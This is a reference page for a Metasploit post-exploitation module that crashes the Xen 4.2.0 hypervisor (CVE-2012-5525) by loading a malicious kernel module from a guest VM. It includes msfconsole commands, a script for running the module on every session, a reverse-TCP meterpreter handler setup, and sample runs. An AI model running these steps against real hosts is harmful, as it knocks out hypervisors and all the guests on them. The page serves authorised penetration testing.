Linux DoS Xen 4.2.0 2012-5525 - Metasploit


This page contains detailed information about how to use the post/linux/dos/xen_420_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Linux DoS Xen 4.2.0 2012-5525
Module: post/linux/dos/xen_420_dos
Source code: modules/post/linux/dos/xen_420_dos.rb
Disclosure date: -
Last modification time: 2019-09-24 13:51:54 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-5525

This module causes a hypervisor crash in Xen 4.2.0 when invoked from a paravirtualized VM, including from dom0. Successfully tested on Debian 7 3.2.0-4-amd64 with Xen 4.2.0.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/dos/xen_420_dos

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/dos/xen_420_dos
msf post(xen_420_dos) > show options
    ... show and set options ...
msf post(xen_420_dos) > set SESSION session-id
msf post(xen_420_dos) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/dos/xen_420_dos")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


This is a post exploitation module that exploits a memory corruption bug in Xen 4.2.0, causing a denial-of-service against the hypervisor from a guest VM. From the original advisory:

Downgrading the grant table version of a guest involves freeing its status pages. This freeing was incomplete - the page(s) are freed back to the allocator, but not removed from the domain's tracking list. This would cause list corruption, eventually leading to a hypervisor crash.

Mechanism


This module aims to be portable by building the exploit module on the target machine directly, building a malicious Linux Kernel Module (LKM) and inserting it into the kernel of the paravirtualized host. It is necessary to build the kernel module on the fly, since kernel ABIs are notoriously unstable and unlikely to work between multiple kernel versions.

This module is tested on Debian and Ubuntu hosts running various versions of Xen. Because the LKM is built at exploit-time, it requires that build tools and kernel headers for the currently-running kernel to exist on the target machine.

Scenarios


Failure (bad Xen version):

msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.1.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:43488) at 2016-07-13 00:27:31 -0500

meterpreter >
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/linux/dos/xen_420_dos
msf post(xen_420_dos) > set session -1
session => -1
msf post(xen_420_dos) > run

[*] Detecting requirements...
[+] Detected root privilege
[+] Detected build-essential
[+] Detected Xen
[+] Detected running Xen
[*] Xen Version: 4.6.0
[-] Sorry, wrong Xen Version
[*] Post module execution completed

Success:

msf post(xen_420_dos) > run

[*] Detecting requirements...
[+] Detected root privilege
[+] Detected build-essential
[+] Detected Xen
[+] Detected running Xen
[*] Xen Version: 4.2.0
[-] Detected correct Xen version
[*] DoS was successful!
[*] Post module execution completed
[*] 192.168.1.2 - Command shell session 1 closed.  Reason: Died from EOFError

Future Work


A kernel module compilation mixin that works like the Dynamic Kernel Module Support (DKMS) framework, would be useful in order to allow other kernel-level exploits to be built as-needed. Supporting this using the Metasploit Post Exploitation API and supporting more Linux distributions would make similar exploits easier to build.

Go back to menu.

Msfconsole Usage


Here is how the linux/dos/xen_420_dos post exploitation module looks in the msfconsole:

msf6 > use post/linux/dos/xen_420_dos

msf6 post(linux/dos/xen_420_dos) > show info

       Name: Linux DoS Xen 4.2.0 2012-5525
     Module: post/linux/dos/xen_420_dos
   Platform: Linux
       Arch: x64
       Rank: Normal

Provided by:
  Christoph Sendner <[email protected]>
  Aleksandar Milenkoski <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory for storing temporary files on the target system

Description:
  This module causes a hypervisor crash in Xen 4.2.0 when invoked from 
  a paravirtualized VM, including from dom0. Successfully tested on 
  Debian 7 3.2.0-4-amd64 with Xen 4.2.0.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-5525

Module Options


This is a complete list of options available in the linux/dos/xen_420_dos post exploitation module:

msf6 post(linux/dos/xen_420_dos) > show options

Module options (post/linux/dos/xen_420_dos):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory for storing temporary files on the target system

Advanced Options


Here is a complete list of advanced options supported by the linux/dos/xen_420_dos post exploitation module:

msf6 post(linux/dos/xen_420_dos) > show advanced

Module advanced options (post/linux/dos/xen_420_dos):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the linux/dos/xen_420_dos module can do:

msf6 post(linux/dos/xen_420_dos) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the linux/dos/xen_420_dos post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/dos/xen_420_dos) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Root access is required


Here is a relevant code snippet related to the "Root access is required" error message:

63:	  #  - xen-version (DoS only works on specific versions)
64:	  ##
65:	
66:	  def requirements_met?
67:	    unless is_root?
68:	      print_error("Root access is required")
69:	      return false
70:	    end
71:	    print_good('Detected root privilege')
72:	
73:	    unless build_essential?

No build-essential package found


Here is a relevant code snippet related to the "No build-essential package found" error message:

69:	      return false
70:	    end
71:	    print_good('Detected root privilege')
72:	
73:	    unless build_essential?
74:	      print_error('No build-essential package found')
75:	      return false
76:	    end
77:	    print_good('Detected build-essential')
78:	
79:	    unless xen?

Running Xen was not found


Here is a relevant code snippet related to the "Running Xen was not found" error message:

75:	      return false
76:	    end
77:	    print_good('Detected build-essential')
78:	
79:	    unless xen?
80:	      print_error('Running Xen was not found')
81:	      return false
82:	    end
83:	    print_good('Detected Xen')
84:	
85:	    unless xen_running?

Xen is not running


Here is a relevant code snippet related to the "Xen is not running" error message:

81:	      return false
82:	    end
83:	    print_good('Detected Xen')
84:	
85:	    unless xen_running?
86:	      print_error('Xen is not running')
87:	      return false
88:	    end
89:	    print_good('Detected running Xen')
90:	
91:	    unless right_xen_version?

Incorrect Xen version running


Here is a relevant code snippet related to the "Incorrect Xen version running" error message:

87:	      return false
88:	    end
89:	    print_good('Detected running Xen')
90:	
91:	    unless right_xen_version?
92:	      print_error('Incorrect Xen version running')
93:	      return false
94:	    end
95:	    print_good('Detected correct Xen version')
96:	
97:	    true

DoS has failed


Here is a relevant code snippet related to the "DoS has failed" error message:

211:	      raise unless successful
212:	    ensure
213:	      if successful
214:	        print_good('DoS was successful!')
215:	      else
216:	        print_error('DoS has failed')
217:	      end
218:	    end
219:	  end
220:	
221:	  ##

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Christoph Sendner <christoph.sendner[at]stud-mail.uni-wuerzburg.de>
  • Aleksandar Milenkoski <aleksandar.milenkoski[at]uni-wuerzburg.de>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.